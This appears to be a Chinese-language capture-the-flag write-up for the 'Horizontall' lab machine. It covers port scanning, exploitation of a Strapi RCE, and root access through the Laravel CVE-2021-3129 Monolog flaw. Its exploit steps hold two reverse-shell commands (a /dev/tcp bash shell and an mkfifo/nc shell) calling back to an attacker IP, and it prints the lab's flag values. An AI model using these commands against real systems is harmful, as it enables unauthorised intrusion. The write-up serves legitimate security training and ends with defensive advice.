[Meachines] [Easy] Horizontall Strapi RCE+KTOR-HTTP扫描+Laravel Monolog 权限提升
字数 1196 2025-08-29 08:30:36

Horizontall 靶机渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

ip='10.10.11.105'
itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
    if [ -n "$ports" ]; then
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
        nmap -Pn -sV -sC -p "$ports" "$ip"
    else
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
    fi
else
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

扫描结果:

  • 22/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
  • 80/tcp: nginx 1.14.0 (Ubuntu)

1.2 目录爆破

echo "10.10.11.105 horizontall.htb" >> /etc/hosts
feroxbuster -u 'http://horizontall.htb'

发现关键文件:

  • http://horizontall.htb/js/app.c68eb462.js

2. Strapi RCE漏洞利用

2.1 发现API子域名

echo "10.10.11.105 api-prod.horizontall.htb" >> /etc/hosts
curl http://api-prod.horizontall.htb/admin/init | jq

2.2 使用公开漏洞

利用Exploit-DB上的漏洞:https://www.exploit-db.com/exploits/50239

python3 exp.py http://api-prod.horizontall.htb bash -c 'bash -i >& /dev/tcp/10.10.16.28/445 0>&1'

获取用户flag:
0985824865581079bb013f166e34e37e

3. 权限提升

3.1 Laravel Monolog RCE漏洞

利用Laravel <= v8.4.2的PHPGGC Monolog RCE漏洞

3.2 端口转发

ssh -i id_rsa -L 8000:localhost:8000 -L 1337:localhost:1337 strapi@10.10.11.105 -t /bin/bash

3.3 本地服务扫描

feroxbuster -u 'http://127.0.0.1:8000/'

3.4 利用漏洞

使用CVE-2021-3129漏洞利用脚本:
https://raw.githubusercontent.com/nth347/CVE-2021-3129_exploit/master/exploit.py

python3 exp.py http://localhost:8000 Monolog/RCE1 id
python3 exp.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.28 10032 >/tmp/f'

获取root flag:
90ed87c84901a6f1b348da73a1d57d57

4. 技术要点总结

4.1 关键漏洞

  1. Strapi RCE漏洞

    • 影响版本:特定版本的Strapi CMS
    • 利用方式:通过未授权访问/admin接口进行RCE
  2. Laravel Monolog RCE漏洞

    • CVE编号:CVE-2021-3129
    • 影响版本:Laravel <= v8.4.2
    • 利用方式:通过反序列化漏洞执行任意代码

4.2 工具使用

  1. Masscan:快速端口扫描
  2. Feroxbuster:目录爆破工具
  3. jq:JSON数据处理工具
  4. SSH端口转发:用于访问内部服务

4.3 防御建议

  1. 及时更新Strapi和Laravel到最新版本
  2. 限制/admin接口的访问权限
  3. 禁用不必要的PHP函数
  4. 实施网络隔离,限制内部服务的暴露

5. 完整利用流程

  1. 通过Masscan和Nmap识别开放端口
  2. 发现Strapi CMS并利用公开漏洞获取初始访问
  3. 通过SSH端口转发访问内部Laravel应用
  4. 利用Laravel反序列化漏洞提升到root权限

6. 参考资源

  1. Strapi RCE漏洞详情:https://www.exploit-db.com/exploits/50239
  2. Laravel Monolog RCE漏洞利用脚本:https://github.com/nth347/CVE-2021-3129_exploit
  3. KTOR-HTTP扫描工具:https://github.com/MartinxMax/KTOR
Horizontall 靶机渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 扫描结果: 22/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 80/tcp: nginx 1.14.0 (Ubuntu) 1.2 目录爆破 发现关键文件: http://horizontall.htb/js/app.c68eb462.js 2. Strapi RCE漏洞利用 2.1 发现API子域名 2.2 使用公开漏洞 利用Exploit-DB上的漏洞:https://www.exploit-db.com/exploits/50239 获取用户flag: 0985824865581079bb013f166e34e37e 3. 权限提升 3.1 Laravel Monolog RCE漏洞 利用Laravel <= v8.4.2的PHPGGC Monolog RCE漏洞 3.2 端口转发 3.3 本地服务扫描 3.4 利用漏洞 使用CVE-2021-3129漏洞利用脚本: https://raw.githubusercontent.com/nth347/CVE-2021-3129_ exploit/master/exploit.py 获取root flag: 90ed87c84901a6f1b348da73a1d57d57 4. 技术要点总结 4.1 关键漏洞 Strapi RCE漏洞 : 影响版本:特定版本的Strapi CMS 利用方式:通过未授权访问/admin接口进行RCE Laravel Monolog RCE漏洞 : CVE编号:CVE-2021-3129 影响版本:Laravel <= v8.4.2 利用方式:通过反序列化漏洞执行任意代码 4.2 工具使用 Masscan :快速端口扫描 Feroxbuster :目录爆破工具 jq :JSON数据处理工具 SSH端口转发 :用于访问内部服务 4.3 防御建议 及时更新Strapi和Laravel到最新版本 限制/admin接口的访问权限 禁用不必要的PHP函数 实施网络隔离,限制内部服务的暴露 5. 完整利用流程 通过Masscan和Nmap识别开放端口 发现Strapi CMS并利用公开漏洞获取初始访问 通过SSH端口转发访问内部Laravel应用 利用Laravel反序列化漏洞提升到root权限 6. 参考资源 Strapi RCE漏洞详情:https://www.exploit-db.com/exploits/50239 Laravel Monolog RCE漏洞利用脚本:https://github.com/nth347/CVE-2021-3129_ exploit KTOR-HTTP扫描工具:https://github.com/MartinxMax/KTOR